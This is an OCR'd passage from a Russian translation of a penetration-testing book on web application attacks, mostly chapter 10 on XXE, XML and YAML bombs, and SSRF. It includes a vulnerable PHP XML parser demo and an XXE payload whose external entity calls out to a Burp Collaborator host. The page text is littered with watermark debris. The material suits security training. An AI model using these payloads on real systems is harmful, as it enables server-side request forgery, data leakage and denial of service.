- •Отзывы и пожелания
- •Список опечаток
- •Нарушение авторских прав
- •Предисловие
- •Кому адресована эта книга
- •О чем идет речь в книге
- •Как извлечь максимум из книги?
- •Загрузка примеров
- •Загрузка цветных изображений
- •Условные обозначения
- •Атаки на веб-приложения. Введение
- •Правила применения оружия
- •Вопросы конфиденциальности данных
- •Очистка
- •Инструментарий тестировщика
- •Kali Linux
- •Альтернативы Kali Linux
- •Прокси-сервер
- •Burp Suite
- •Zed Attack Proxy
- •Облачная инфраструктура
- •Дополнительные источники
- •Упражнения
- •Резюме
- •Глава 2
- •Эффективное обнаружение
- •Типы тестирования
- •Построение карты сети
- •Masscan
- •hatWeb
- •Nikto
- •CMS-сканеры
- •Эффективная атака методом полного перебора
- •Средства сканирования
- •Постоянное картирование контента
- •Обработка полезной нагрузки
- •«Полиглот»
- •Запутывание (обфускация) кода
- •Дополнительные источники
- •Упражнения
- •Резюме
- •Глава 3
- •Легкая добыча
- •Анализ сети
- •Ищем вход
- •Определение учетных данных
- •Есть способ получше
- •Очистка
- •Дополнительные ресурсы
- •Резюме
- •Глава 4
- •Продвинутые способы атаки с использованием метода полного перебора
- •Распыление подбора пароля
- •Спросим LinkedIn
- •Метаданные
- •Кассетная бомба
- •За семью прокси-серверами
- •ProxyCannon
- •Резюме
- •Глава 5
- •Внедрение файлов
- •Удаленное внедрение файлов
- •Локальное внедрение файлов
- •Внедрение файла для удаленного выполнения кода
- •Резюме
- •Обнаружение и эксплуатация уязвимостей в приложениях с помощью внешних сервисов
- •Распространенный сценарий
- •Командно-контрольный сервер
- •Центр сертификации Let’s Encrypt
- •INetSim
- •Подтверждение
- •Асинхронное извлечение данных
- •Построение выводов на основе анализа данных
- •Резюме
- •Расширение функциональных возможностей Burp Suite
- •Нелегальная аутентификация и злоупотребление учетными записями
- •Швейцарский нож
- •Запутывание кода
- •Collaborator
- •Открытый сервер
- •Выделенный сервер Collaborator
- •Резюме
- •Глава 8
- •Вредоносная сериализация
- •Использование десериализации
- •Атака на пользовательские протоколы
- •Анализ протокола
- •Эксплойт для осуществления атаки
- •Резюме
- •Практические атаки на стороне клиента
- •Правила ограничения домена
- •Совместное использование ресурсов разными источниками
- •Межсайтовый скриптинг
- •Постоянный XSS
- •DOM-модели
- •Межсайтовая подделка запроса
- •BeEF
- •Перехват
- •Атаки с применением методов социальной инженерии
- •Кейлоггер
- •Закрепление в системе
- •Автоматическая эксплуатация
- •Туннелирование трафика
- •Резюме
- •Практические атаки на стороне сервера
- •Внутренние и внешние ссылки
- •Атаки XXE
- •Атака billion laughs
- •Подделка запроса
- •Сканер портов
- •Утечка информации
- •«Слепой» XXE
- •Удаленное выполнение кода
- •Резюме
- •Глава 11
- •Атака на API
- •Протоколы передачи данных
- •SOAP
- •REST
- •Аутентификация с помощью API
- •Базовая аутентификация
- •Ключи API
- •Токены на предъявителя
- •Postman
- •Установка
- •Вышестоящий прокси-сервер
- •Среда выполнения
- •Коллекции
- •Запуск коллекции
- •Факторы атаки
- •Резюме
- •Глава 12
- •Атака на CMS
- •Оценка приложения
- •WPScan
- •sqlmap
- •Droopescan
- •Arachni
- •Взлом кода с помощью бэкдора
- •Закрепление в системе
- •Утечка учетных данных
- •Резюме
- •Глава 13
- •Взлом контейнеров
- •Сценарий уязвимости в Docker
- •Осведомленность о ситуации
- •Взлом контейнера
- •Резюме
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
i |
r |
|
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
]> |
|||
|
|
|
|
|
|
|
|||||
|
|
|
|
-xcha |
|
|
|
|
|
<user>
<name>Dade Murphy</name> <id>1</id>
<email type="local">admin@localhost</email> <company>&company;</company>
</user>
Атаки XXE
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
E |
|
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
||||
253 BUY |
|
|
|||||||
|
|
|
|
|
|||||
w Click |
to |
|
|
|
|
m |
|||
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
|
|
|
|
df |
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Можно передать этот XML-документ парсеру как, например, часть запроса нааутентификациюспомощьюAPI.Когданаступитвремяпреобразоватьсущность &company;, парсер установит соединение с config.ecorp.local по протоколу HTTP, и содержимое будет выведено в элементе <company>.
Менталитет злоумышленника будет учитывать способность пользователя влиять на поведение сервера и, возможно, искать способы злоупотребления им.
Атаки XXE
Атаки XXE используют тот факт, что XML-библиотеки разрешают внешние ссылки для DTD или сущностей. Разработчики могут не знать об этом потенциальномвектореатаки,иданные,вводимыевформатеXML,иногдаостаются несанированными. Например, будучи хакерами, обменивающимися данными с API, мы можем перехватывать SOAP-запросы и вставлять свои собственные XML-элементы во вредоносный код. Компонент на стороне сервера должен проанализировать этот код, чтобы узнать, что делать с данными. Если парсер ненастроендолжнымобразомиразрешаетналичиевнешнихсущностей,мож- ноиспользоватьсервердлячтенияфайловвсистеме,выполненияSSRF-иDoS- атак, а в некоторых случаях даже для выполнения кода.
Атака billion laughs
Атака billion laughs, также известная как XML-бомба, представляет собой DoS-атаку, которая направлена на перегрузку XML-парсера, заставляя его выделятьбольшепамяти,чемунегоесть,приотносительнонебольшомвходном буфере. В старых системах или на виртуальных машинах с ограниченной памятью такая атака быстро приведет к сбою приложения или даже хоста.
XML-бомба использует тот факт, что такие форматы файлов, как XML, позволяют пользователю устанавливать ссылки или указатели на другие произвольно определенные данные. В предыдущих примерах мы использовали расширение объекта для замены &company; данными, определенными либо в заголовке документа,либо где-то извне.
XML-бомба выглядиттак:
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
||||
w Click |
to |
BUY 254 |
||||||||
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
Глава 10.Практические атаки на стороне сервера
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Рис.10.1. XML-бомба
Парсер посмотрит на эти данные и станет расширять сущности начиная с корневого элемента <lolz>.Ссылка на сущность&lol9; будетуказыватьнадесятокдругихссылок,определенныхсущностью&lol8;. Этоповторяетсядотех пор, пока первая сущность, &lol;, не расширится до строки "lol". Результатом является выделение памяти для 10 ^ 9 (1 000 000 000) экземпляров строки "lol", или миллиард lol. На это может уйти до 3 ГБ памяти в зависимости от парсера и того, как он обрабатывает строки в памяти. На современных серверах эффект может быть минимальным, если эта атака не осуществляется распределенно через несколько подключений к приложению.
Как всегда, проявляйте осторожность при тестировании таких типов уязвимостей на клиентских системах. DoS-атаки обычно запрещены во время выполнения заданий.
В редких случаях, когда DoS-атака разрешена,XML-бомба может стать хорошим способом отвлечь ресурсы Синей команды, когда вы сосредоточены на другихучасткахсети,при условии что система не является критически важной для компании.
XML – это не единственный формат, который допускает DoS-атаку такого типа. Фактически любой язык, имеющий конструкции для создания указателей надругиеданные,можетподвергаться аналогичной атаке.YAML,удобочитаемый формат файлов,обычно используемый в файлах конфигурации,также разрешает указатели на данные, а следовательно, и YAML-бомбу.
Рис.10.2. YAML-бомба
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
E |
|
|
|
|||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
|
o |
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
Атаки XXE 255 BUY |
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
w Click |
to |
|
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
m |
w Click |
|
|
|
|
|
|
|
m |
|||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
|||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
e |
Эффект от таких атак сильно варьируется в зависимости от библиотеки и |
|
|
e |
|
|||||||||||
|
|
|
df |
|
|
n |
|
|
|
|
|
|
|
|
df |
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
управления памятью, а также от базовой операционной системы и доступной памяти. Хотя не каждая бомба выведет из строя систему, они иллюстрируют важность санации входных данных. Нарушение конфиденциальности и целостности может быть более привлекательным, но когда на доступность так легко повлиять с помощью нескольких строк кода, средства защиты должны обратить на это внимание.
Подделка запроса
Подделказапросапроисходит,когдаприложениепринудительновыполняет запрос к другому хосту или хостам на выбор злоумышленника.Расширение внешних сущностей – это разновидность SSRF-атаки, поскольку оно принуждает приложение подключаться к произвольным URL-адресам для загрузки DTD или других XML-данных.
Вхудшемслучае(иливлучшем–взависимостиотвашейперспективы)под- делка запроса, такая как XXE, может привести к утечке информации, слепой утечкеданных илидаже удаленному выполнению кода,как увидим позже.Тем не менее SSRF-атака также может быть использована для создания цепочки атак на внутренние непубличные серверы или даже для сканирования портов.
Чтобы проиллюстрировать эту атаку, будем использовать приложение для XML-парсинга, написанное на языке PHP. Код должен быть понятен большинству лиц, не являющихся разработчиками.
Рис.10.3. Простой XML-парсер на PHP
Краткий обзор кода:
строкис7-йпо11-юопределяютформуспомощьюHTML-тегов,которая позволяет пользователю отправлять XML-данные через запрос POST;
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
|||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
NOW! |
|
o |
P |
|
|
|
|
|
NOW! |
o |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
|||||||||
w Click |
to |
BUY 256 Глава 10.Практические атаки на стороне сервера |
w Click |
to |
|
|
|
|
|
|
||||||||||||||
|
|
|
|
|
|
|
|
m |
|
|
|
|
|
|
|
m |
||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|
. |
|
|
|
|
g |
.c |
|
|||||||
|
|
p |
|
|
|
|
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
e |
строки со 2-й по 5-ю обрабатывают входящий XML-текст с помощью |
|
|
|
e |
|
||||||||||
|
|
|
df |
|
|
n |
|
|
|
|
|
|
|
|
df |
|
|
n |
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
PHP-модуля SimpleXML. Проанализированные данные будут сохранены в качестве XML-объекта: $xml_object;
строкис13-йпо22-юаккуратноотображаютпроанализированныеXML- данные.
Мы можем запустить временный веб-сервер из командной строки, чтобы протестировать несколько SSRF-атак, направленных на наше уязвимое приложение, используя встроенный тестовый сервер PHP:
root@kali:/var/www/html# php -S 0.0.0.0:80
Наше приложение будет доступно по адресу http:/xml.parser. local.
Рис.10.4. Уязвимый XML-парсер работает
Чтобы протестировать возможности расширения внешних сущностей парсера, можно использовать форму для отправки короткого вредоносного XMLфайла, описывающего книгу. Мы будем использовать внешнюю сущность, размещенную Collaborator. Данный вредоносный код не является валидным, поскольку Collaborator отвечает стандартным HTML-ответом, но это позволит подтвердить,что приложение уязвимо.
Создадим новый экземпляр клиента Collaborator и передадим сгенерированный хост приложению в нашем вирусе.
В меню Burp выберите опцию Burp Collaborator client.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
Атаки XXE
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
E |
|
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
||||
257 BUY |
|
|
|||||||
|
|
|
|
|
|||||
w Click |
to |
|
|
|
|
m |
|||
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
|
|
|
|
df |
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Рис.10.5. Запуск модуля клиента Collaborator
Создадим один хостCollaborator и выберем Copy to clipboard (Копироватьв буфер обмена) в окне клиента.Важно,чтобы мы не закрывали клиент Collaborator на время атаки после генерации имени хоста. Если закроем его прежде временно, Collaborator не сможет связать внеполосные запросы, отправленные к имени хоста, с сеансом Burp.
Рис.10.6. Копируем сгенерированное имя хоста Collaborator в буфер обмена
Сгенерированное значение будет выглядеть примерно так:
gl50wfrstsbfymbxzdd454v2ut0jo8.burpcollaborator.net
Теперь создадим XML-документ,который извлекает значение publisher из только что созданного хоста Burp Collaborator. Надеемся, что когда уязвимое приложение попытается извлечь внешний контент,Burp Collaborator перехватит запрос и подтвердит наличие уязвимости.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
i |
r |
|
P |
|
|
|
|
NOW! |
o |
|||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
||||
w Click |
to |
BUY 258 Глава 10.Практические атаки на стороне сервера |
|||||||||
|
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> |
|||
|
|
|
|
|
|
|
|||||
|
|
|
|
-xcha |
|
|
|
|
|
<!DOCTYPE book [ <!ELEMENT book ANY >
<!ENTITY publisher SYSTEM "http://gl50wfrstsbfymbxzdd454v2ut0jo8.burpcollaborator.net/ publisher.xml">
]>
<book>
<title>The Flat Mars Society</title> <publisher>&publisher;</publisher> <author>Elon Musk</author>
</book>
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Для этого подтверждения Collaborator не нужен. Можем использовать простой HTTP-сервер, работающий на нашем командноконтрольном сервере где-нибудь в облаке. Collaborator полезен, когда срочно нужен HTTPS или подтверждение должно быть сделано через DNS либо какой-нибудь другой протокол.
Результатом является аккуратно проанализированный объект, отображаемый красным цветом в нижней части экрана.
Рис.10.7. Отправка вредоносного кода XML и наблюдение за ответом
Мы видим, что сущность &publisher; была преобразована парсером, а это означает,чтоприложениеустановиловнешнеесоединениепопротоколуHTTP с нашим экземпляром Collaborator. Интересно отметить, что ответ HTML был